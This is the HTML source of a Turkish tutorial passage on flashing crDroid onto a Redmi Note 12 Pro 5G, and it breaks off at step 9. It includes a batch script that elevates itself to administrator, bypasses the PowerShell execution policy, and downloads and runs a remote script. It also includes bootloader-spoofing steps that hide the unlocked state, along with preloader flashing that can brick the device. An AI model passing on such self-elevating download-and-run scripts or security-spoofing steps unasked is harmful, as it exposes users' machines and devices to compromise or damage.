&lt;h2 id="adm-adm-kurulum-asamalar"&gt;🏗️ Ad&amp;inodot;m Ad&amp;inodot;m Kurulum A&amp;scedil;amalar&amp;inodot;&lt;a class="headerlink" href="#adm-adm-kurulum-asamalar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="cihaz-modelini-ve-baglanty-dogrulamak-opsiyonel"&gt;Cihaz Modelini ve Ba&amp;gbreve;lant&amp;inodot;y&amp;inodot; Do&amp;gbreve;rulamak (Opsiyonel)&lt;a class="headerlink" href="#cihaz-modelini-ve-baglanty-dogrulamak-opsiyonel" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;lemlere ba&amp;scedil;lamadan &amp;ouml;nce telefonunun a&amp;ccedil;&amp;inodot;k oldu&amp;gbreve;undan, USB Hata Ay&amp;inodot;klama se&amp;ccedil;ene&amp;gbreve;inin aktif oldu&amp;gbreve;undan emin ol ve bilgisayar&amp;inodot;ndan &amp;scedil;u komutlarla do&amp;gbreve;rulamay&amp;inodot; yap:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;devices
List&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;devices&lt;span class="w"&gt; &lt;/span&gt;attached
79orfygmgecmw84t&lt;span class="w"&gt;        &lt;/span&gt;device

$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;getprop&lt;span class="w"&gt; &lt;/span&gt;ro.product.device
ruby

$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;getprop&lt;span class="w"&gt; &lt;/span&gt;ro.product.model
22101316G
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Yukar&amp;inodot;daki gibi cihaz kimli&amp;gbreve;ini ve&lt;code&gt;ruby&lt;/code&gt; kod ad&amp;inodot;n&amp;inodot; g&amp;ouml;r&amp;uuml;yorsan, elindeki cihaz tam olarak bu rehbere uygundur.&lt;/p&gt;
&lt;h3 id="adm-1-cihaz-fastboot-moduna-almak"&gt;Ad&amp;inodot;m 1: Cihaz&amp;inodot; Fastboot Moduna Almak&lt;a class="headerlink" href="#adm-1-cihaz-fastboot-moduna-almak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;lk olarak telefonumuzu bilgisayara komut g&amp;ouml;nderebilece&amp;gbreve;imiz Fastboot moduna al&amp;inodot;yoruz.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;Ouml;nerilen Y&amp;ouml;ntem (Komut Sat&amp;inodot;r&amp;inodot;):&lt;/strong&gt; Telefonun a&amp;ccedil;&amp;inodot;k ve bilgisayara ba&amp;gbreve;l&amp;inodot; durumdaysa u&amp;ccedil;birimden &amp;scedil;u komutu girerek do&amp;gbreve;rudan Fastboot moduna ge&amp;ccedil;ebilirsin:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;reboot&lt;span class="w"&gt; &lt;/span&gt;bootloader
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Alternatif Y&amp;ouml;ntem (Tu&amp;scedil; Kombinasyonu):&lt;/strong&gt; Telefon kapal&amp;inodot;yken &lt;strong&gt;G&amp;uuml;&amp;ccedil; (Power)&lt;/strong&gt; ve &lt;strong&gt;Ses K&amp;inodot;sma (Volume Down)&lt;/strong&gt; tu&amp;scedil;lar&amp;inodot;na ayn&amp;inodot; anda bas&amp;inodot;l&amp;inodot; tut. Ekranda "FASTBOOT" yaz&amp;inodot;s&amp;inodot;n&amp;inodot; veya ikonunu g&amp;ouml;rd&amp;uuml;&amp;gbreve;&amp;uuml;nde tu&amp;scedil;lar&amp;inodot; b&amp;inodot;rak ve USB kablosuyla bilgisayara ba&amp;gbreve;la.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="adm-2-cihaz-kod-adn-teyit-etmek"&gt;Ad&amp;inodot;m 2: Cihaz Kod Ad&amp;inodot;n&amp;inodot; Teyit Etmek&lt;a class="headerlink" href="#adm-2-cihaz-kod-adn-teyit-etmek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;ndirdi&amp;gbreve;imiz ROM dosyas&amp;inodot;n&amp;inodot;n elindeki cihazla e&amp;scedil;le&amp;scedil;ti&amp;gbreve;inden emin olmak i&amp;ccedil;in Platform Tools klas&amp;ouml;r&amp;uuml;n&amp;uuml;n i&amp;ccedil;inde bir u&amp;ccedil;birim (cmd veya powershell) a&amp;ccedil; ve &amp;scedil;u komutu gir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;getvar&lt;span class="w"&gt; &lt;/span&gt;product
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komutu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;nda u&amp;ccedil;birimde&lt;code&gt;product: ruby&lt;/code&gt; veya&lt;code&gt;product: rubyx&lt;/code&gt; &amp;ccedil;&amp;inodot;kt&amp;inodot;s&amp;inodot;n&amp;inodot; almal&amp;inodot;s&amp;inodot;n. E&amp;gbreve;er ba&amp;scedil;ka bir cihaz kodu g&amp;ouml;r&amp;uuml;rsen i&amp;scedil;lemleri derhal durdur.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Cihaz Tan&amp;inodot;ma Sorunu&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er komut &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot;na ra&amp;gbreve;men alt sat&amp;inodot;r bo&amp;scedil; kal&amp;inodot;yorsa bilgisayar&amp;inodot;nda Xiaomi Fastboot s&amp;uuml;r&amp;uuml;c&amp;uuml;leri eksik demektir. Bu durumda manuel y&amp;uuml;kleme yapmak yerine, s&amp;uuml;r&amp;uuml;c&amp;uuml; kurulumunu otomatikle&amp;scedil;tiren &amp;scedil;u pratik batch scriptini bir metin belgesine yap&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;p&lt;code&gt;.bat&lt;/code&gt; uzant&amp;inodot;s&amp;inodot;yla (&amp;ouml;rne&amp;gbreve;in&lt;code&gt;surucu-yukle.bat&lt;/code&gt;) kaydederek y&amp;ouml;netici olarak &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilirsin:&lt;/p&gt;
&lt;p&gt;Alternatif olarak, masa&amp;uuml;st&amp;uuml;ne &amp;ccedil;&amp;inodot;kartt&amp;inodot;&amp;gbreve;&amp;inodot;n &lt;a href="http://bigota.d.miui.com/tools/xiaomi_usb_driver.rar" rel="noopener noreferrer" target="_blank"&gt;Xiaomi USB S&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;&lt;/a&gt; dosyas&amp;inodot;n&amp;inodot; Ayg&amp;inodot;t Y&amp;ouml;neticisi &amp;uuml;zerinden manuel olarak g&amp;uuml;ncelleyebilirsin. Detayl&amp;inodot; ad&amp;inodot;mlar yaz&amp;inodot;n&amp;inodot;n sonundaki hatalar k&amp;inodot;sm&amp;inodot;nda yer al&amp;inodot;yor.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="k"&gt;echo&lt;/span&gt; off
    &lt;span class="k"&gt;echo&lt;/span&gt; S&amp;uuml;r&amp;uuml;c&amp;uuml; kurulumu ba&amp;scedil;lat&amp;inodot;l&amp;inodot;yor, l&amp;uuml;tfen bekleyin...
    net session &lt;span class="p"&gt;&amp;gt;&lt;/span&gt;nul &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="nv"&gt;%errorLevel%&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; 0 &lt;span class="p"&gt;(&lt;/span&gt;
        powershell -executionpolicy bypass start -verb runas '&lt;span class="nv"&gt;%0&lt;/span&gt;' am_admin &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;exit&lt;/span&gt; /b
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;cd&lt;/span&gt; &lt;span class="nv"&gt;%~dp0&lt;/span&gt;
    PowerShell -executionpolicy bypass -Command &lt;span class="s2"&gt;"(New-Object Net.WebClient).DownloadFile('https://cdn.jsdelivr.net/gh/fawazahmed0/Latest-adb-fastboot-installer-for-windows@master/Latest-ADB-Installerbat', 'adbinstaller.bat')"&lt;/span&gt;
    &lt;span class="k"&gt;cls&lt;/span&gt;
    &lt;span class="k"&gt;call&lt;/span&gt; adbinstaller.bat
    &lt;span class="k"&gt;del&lt;/span&gt; /f adbinstaller.bat &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; nul &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="adm-3-custom-recovery-flaslamak"&gt;Ad&amp;inodot;m 3: Custom Recovery Fla&amp;scedil;lamak&lt;a class="headerlink" href="#adm-3-custom-recovery-flaslamak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Telefonumuzu kurtarma moduna almak i&amp;ccedil;in indirdi&amp;gbreve;imiz recovery kal&amp;inodot;b&amp;inodot;n&amp;inodot; y&amp;uuml;kl&amp;uuml;yoruz. Redmi Note 12 Pro 5G gibi yeni nesil sanal A/B b&amp;ouml;l&amp;uuml;m tablosuna sahip cihazlarda ayr&amp;inodot; bir recovery b&amp;ouml;l&amp;uuml;m&amp;uuml; bulunmaz; recovery do&amp;gbreve;rudan &amp;ouml;ny&amp;uuml;kleme (&lt;code&gt;boot&lt;/code&gt;) b&amp;ouml;l&amp;uuml;m&amp;uuml;n&amp;uuml;n i&amp;ccedil;ine yaz&amp;inodot;l&amp;inodot;r. Bu y&amp;uuml;zden indirdi&amp;gbreve;in dosya &lt;strong&gt;&lt;code&gt;boot.img&lt;/code&gt;&lt;/strong&gt; ad&amp;inodot;ndad&amp;inodot;r:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;flash&lt;span class="w"&gt; &lt;/span&gt;boot&lt;span class="w"&gt; &lt;/span&gt;boot.img
Sending&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'boot_a'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;131072&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;KB&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;OKAY&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.117s&lt;span class="o"&gt;]&lt;/span&gt;
Writing&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'boot_a'&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;OKAY&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.339s&lt;span class="o"&gt;]&lt;/span&gt;
Finished.&lt;span class="w"&gt; &lt;/span&gt;Total&lt;span class="w"&gt; &lt;/span&gt;time:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.470s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Fla&amp;scedil;lama i&amp;scedil;lemi bittikten sonra cihaz&amp;inodot; do&amp;gbreve;rudan kurtarma modunda yeniden ba&amp;scedil;lat&amp;inodot;yoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;reboot&lt;span class="w"&gt; &lt;/span&gt;recovery
Rebooting&lt;span class="w"&gt; &lt;/span&gt;into&lt;span class="w"&gt; &lt;/span&gt;recovery&lt;span class="w"&gt;                            &lt;/span&gt;OKAY&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.001s&lt;span class="o"&gt;]&lt;/span&gt;
Finished.&lt;span class="w"&gt; &lt;/span&gt;Total&lt;span class="w"&gt; &lt;/span&gt;time:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.002s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cihaz kapan&amp;inodot;p ekranda mor/siyah renkli resmi crDroid Recovery aray&amp;uuml;z&amp;uuml;yle a&amp;ccedil;&amp;inodot;lacakt&amp;inodot;r.&lt;/p&gt;
&lt;h3 id="adm-4-verileri-formatlamak-format-data-factory-reset"&gt;Ad&amp;inodot;m 4: Verileri Formatlamak (Format Data / Factory Reset)&lt;a class="headerlink" href="#adm-4-verileri-formatlamak-format-data-factory-reset" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bu ad&amp;inodot;m &amp;scedil;ifrelemeyi &amp;ccedil;&amp;ouml;zmek ve temiz bir kurulum yapmak i&amp;ccedil;in hayati &amp;ouml;nem ta&amp;scedil;&amp;inodot;r.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A&amp;ccedil;&amp;inodot;lan kurtarma (recovery) ekran&amp;inodot;nda ses tu&amp;scedil;lar&amp;inodot;n&amp;inodot; kullanarak &lt;strong&gt;Factory reset&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;ine gel ve g&amp;uuml;&amp;ccedil; tu&amp;scedil;uyla se&amp;ccedil;.&lt;/li&gt;
&lt;li&gt;Ard&amp;inodot;ndan &lt;strong&gt;Format data/factory reset&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;ine gir.&lt;/li&gt;
&lt;li&gt;Gelen onay ekran&amp;inodot;nda &lt;strong&gt;Format data&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;ini se&amp;ccedil;erek i&amp;scedil;lemi ba&amp;scedil;lat.&lt;/li&gt;
&lt;li&gt;Ekran&amp;inodot;n alt&amp;inodot;nda "Data wipe complete" yaz&amp;inodot;s&amp;inodot; belirdi&amp;gbreve;inde geri tu&amp;scedil;uyla ana men&amp;uuml;ye d&amp;ouml;n.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="adm-5-rom-dosyasn-flaslamak-adb-sideload"&gt;Ad&amp;inodot;m 5: ROM Dosyas&amp;inodot;n&amp;inodot; Fla&amp;scedil;lamak (ADB Sideload)&lt;a class="headerlink" href="#adm-5-rom-dosyasn-flaslamak-adb-sideload" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Dinamik b&amp;ouml;l&amp;uuml;ml&amp;uuml; yeni nesil cihazlarda, bilgisayardan dosya kopyalamakla u&amp;gbreve;ra&amp;scedil;mak yerine en kararl&amp;inodot; y&amp;ouml;ntem olan &lt;strong&gt;ADB Sideload&lt;/strong&gt; k&amp;ouml;pr&amp;uuml;s&amp;uuml;n&amp;uuml; kullan&amp;inodot;yoruz. Telefonun h&amp;acirc;l&amp;acirc; bilgisayara ba&amp;gbreve;l&amp;inodot; oldu&amp;gbreve;undan emin ol:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Telefon ekran&amp;inodot;nda ana men&amp;uuml;den &lt;strong&gt;Apply update&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;ine gir.&lt;/li&gt;
&lt;li&gt;Ard&amp;inodot;ndan &lt;strong&gt;Apply from ADB&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;ini se&amp;ccedil;. Telefon art&amp;inodot;k bilgisayardan dosya transferi beklemeye ba&amp;scedil;layacakt&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;Bilgisayar&amp;inodot;nda,&lt;code&gt;platform-tools&lt;/code&gt; klas&amp;ouml;r&amp;uuml;n&amp;uuml;n i&amp;ccedil;indeki terminalde &amp;scedil;u komutu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r (ROM dosyas&amp;inodot;n&amp;inodot;n ad&amp;inodot;n&amp;inodot; yaz veya s&amp;uuml;r&amp;uuml;kle-b&amp;inodot;rak):&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;sideload&lt;span class="w"&gt; &lt;/span&gt;crDroidAndroid-16.0-20260606-rubyx-v12.10.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Fla&amp;scedil;lama i&amp;scedil;leminin bitmesini bekle. Terminalde&lt;code&gt;Total xfer: 1.00x&lt;/code&gt; veya telefonda&lt;code&gt;%100&lt;/code&gt; yazacakt&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;Fla&amp;scedil;lama bitti&amp;gbreve;inde telefon ekran&amp;inodot;nda &amp;scedil;u soru belirecektir:
    &lt;em&gt;"Install additional packages? You need to reboot recovery first. Do you want to reboot to recovery now?"&lt;/em&gt;
    (Ek paket y&amp;uuml;klemek istiyor musun? &amp;Ouml;nce recovery'yi yeniden ba&amp;scedil;latmal&amp;inodot;s&amp;inodot;n. &amp;Scedil;imdi yeniden ba&amp;scedil;lat&amp;inodot;ls&amp;inodot;n m&amp;inodot;?)&lt;/li&gt;
&lt;li&gt;Burada kesinlikle &lt;strong&gt;YES&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;ini se&amp;ccedil;. Telefon otomatik olarak yeni kurulan slot &amp;uuml;zerinden recovery modunda yeniden ba&amp;scedil;layacakt&amp;inodot;r.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="adm-6-google-servislerini-yuklemek-gapps-kritik-asama"&gt;Ad&amp;inodot;m 6: Google Servislerini Y&amp;uuml;klemek (GApps - Kritik A&amp;scedil;ama)&lt;a class="headerlink" href="#adm-6-google-servislerini-yuklemek-gapps-kritik-asama" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Do&amp;gbreve;rudan Fla&amp;scedil;lamay&amp;inodot;n!&lt;/p&gt;
&lt;p&gt;ROM sideload bittikten hemen sonra GApps paketini fla&amp;scedil;lamaya &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;rsan imza ve slot hatalar&amp;inodot; al&amp;inodot;rs&amp;inodot;n. Bu y&amp;uuml;zden yukar&amp;inodot;daki ad&amp;inodot;mda recovery'yi yeniden ba&amp;scedil;latma sorusuna mutlaka &lt;strong&gt;YES&lt;/strong&gt; demelisin.&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Cihaz recovery modunda tekrar a&amp;ccedil;&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda s&amp;inodot;ras&amp;inodot;yla &lt;strong&gt;Apply update -&amp;gt; Apply from ADB&lt;/strong&gt; se&amp;ccedil;eneklerine gir.&lt;/li&gt;
&lt;li&gt;Bilgisayardaki u&amp;ccedil;birimden indirdi&amp;gbreve;in GApps dosyas&amp;inodot;n&amp;inodot; (GApps i&amp;ccedil;in &lt;a href="https://nikgapps.com/crdroid-official" rel="noopener noreferrer" target="_blank"&gt;NikGApps crDroid Official&lt;/a&gt; paketini kullanabilirsin) g&amp;ouml;nder:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;sideload&lt;span class="w"&gt; &lt;/span&gt;NikGapps-crdroid-official-arm64-16-signed.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="adm-7-istege-bagl-root-magisk-yuklemesi"&gt;Ad&amp;inodot;m 7: &amp;Idot;ste&amp;gbreve;e Ba&amp;gbreve;l&amp;inodot; Root (Magisk) Y&amp;uuml;klemesi&lt;a class="headerlink" href="#adm-7-istege-bagl-root-magisk-yuklemesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Telefonunu rootlamak istiyorsan, GApps kurulumundan sonra &amp;scedil;u ad&amp;inodot;mlar&amp;inodot; takip et:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Geri tu&amp;scedil;uyla ana men&amp;uuml;ye d&amp;ouml;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Advanced -&amp;gt; Reboot to recovery&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;iyle recovery'yi bir kez daha yeniden ba&amp;scedil;lat.&lt;/li&gt;
&lt;li&gt;A&amp;ccedil;&amp;inodot;l&amp;inodot;&amp;scedil;ta tekrar &lt;strong&gt;Apply update -&amp;gt; Apply from ADB&lt;/strong&gt; yolunu izle.&lt;/li&gt;
&lt;li&gt;Bilgisayardan &amp;scedil;u komutla Magisk zip dosyas&amp;inodot;n&amp;inodot; g&amp;ouml;nder:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;sideload&lt;span class="w"&gt; &lt;/span&gt;Magisk.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="adm-8-sebeke-ve-anabant-aktivasyonu-bootloader-spoofing-kritik-asama"&gt;Ad&amp;inodot;m 8: &amp;Scedil;ebeke ve Anabant Aktivasyonu (Bootloader Spoofing - Kritik A&amp;scedil;ama)&lt;a class="headerlink" href="#adm-8-sebeke-ve-anabant-aktivasyonu-bootloader-spoofing-kritik-asama" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;MediaTek tabanl&amp;inodot; ruby platformunda custom ROM y&amp;uuml;kledi&amp;gbreve;inde, bootloader kilidi a&amp;ccedil;&amp;inodot;k oldu&amp;gbreve;u i&amp;ccedil;in modem g&amp;uuml;venlik protokol&amp;uuml;ne tak&amp;inodot;l&amp;inodot;r ve &amp;scedil;ebeke vermez (anabant s&amp;uuml;r&amp;uuml;m&amp;uuml; "Bilinmiyor" olarak g&amp;ouml;r&amp;uuml;n&amp;uuml;r). Bu kilidi a&amp;scedil;mak i&amp;ccedil;in bootloader durumunu kilitli (spoof) olarak g&amp;ouml;stermeliyiz:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Cihaz&amp;inodot;n a&amp;ccedil;&amp;inodot;k durumdaysa u&amp;ccedil;birimden&lt;code&gt;$ adb reboot bootloader&lt;/code&gt; komutuyla, kapal&amp;inodot;ysa &lt;strong&gt;G&amp;uuml;&amp;ccedil; + Ses K&amp;inodot;sma&lt;/strong&gt; tu&amp;scedil;lar&amp;inodot;yla tekrar Fastboot moduna al ve bilgisayara ba&amp;gbreve;la.&lt;/li&gt;
&lt;li&gt;Haz&amp;inodot;rlad&amp;inodot;&amp;gbreve;&amp;inodot;n&lt;code&gt;ruby-lk-kaeru.bin.signed.img&lt;/code&gt; ve&lt;code&gt;preloader_raw.img&lt;/code&gt; (veya&lt;code&gt;preloader_ruby.bin&lt;/code&gt;) dosyalar&amp;inodot;n&amp;inodot;n bulundu&amp;gbreve;u klas&amp;ouml;rde terminal a&amp;ccedil;arak &amp;scedil;u komutlar&amp;inodot; s&amp;inodot;rayla &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;flash&lt;span class="w"&gt; &lt;/span&gt;lk_a&lt;span class="w"&gt; &lt;/span&gt;ruby-lk-kaeru.bin.signed.img
$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;flash&lt;span class="w"&gt; &lt;/span&gt;lk_b&lt;span class="w"&gt; &lt;/span&gt;ruby-lk-kaeru.bin.signed.img
$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;flash&lt;span class="w"&gt; &lt;/span&gt;preloader_a&lt;span class="w"&gt; &lt;/span&gt;preloader_raw.img
$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;flash&lt;span class="w"&gt; &lt;/span&gt;preloader_b&lt;span class="w"&gt; &lt;/span&gt;preloader_raw.img
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Fla&amp;scedil;lama bitti&amp;gbreve;inde bootloader'&amp;inodot; &amp;scedil;u komutla yeniden ba&amp;scedil;lat:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;reboot&lt;span class="w"&gt; &lt;/span&gt;bootloader
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Fastboot ekran&amp;inodot; tekrar geldi&amp;gbreve;inde &amp;scedil;u komutla kilidi gizleme &amp;ouml;zelli&amp;gbreve;ini aktif et:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;oem&lt;span class="w"&gt; &lt;/span&gt;bldr_spoof&lt;span class="w"&gt; &lt;/span&gt;on
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;U&amp;ccedil;birimde&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bootloader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Bootloader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spoofing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;onay&amp;inodot;n&amp;inodot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g&amp;ouml;rd&amp;uuml;&amp;gbreve;&amp;uuml;nden&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;emin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="adm-9-sistemi-yeniden-baslatmak"&gt;Ad&amp;inodot;m 9: Sistemi Yeniden Ba&amp;scedil;latmak&lt;a class="headerlink" href="#adm-9-sistemi-yeniden-baslatmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;T&amp;uuml;m i&amp;scedil;lemler tamamland&amp;inodot;&amp;gbreve;&amp;inodot;na g&amp;ouml;re sistemi ba&amp;scedil;latabiliriz:&lt;/p&gt;
&lt;ol&gt;
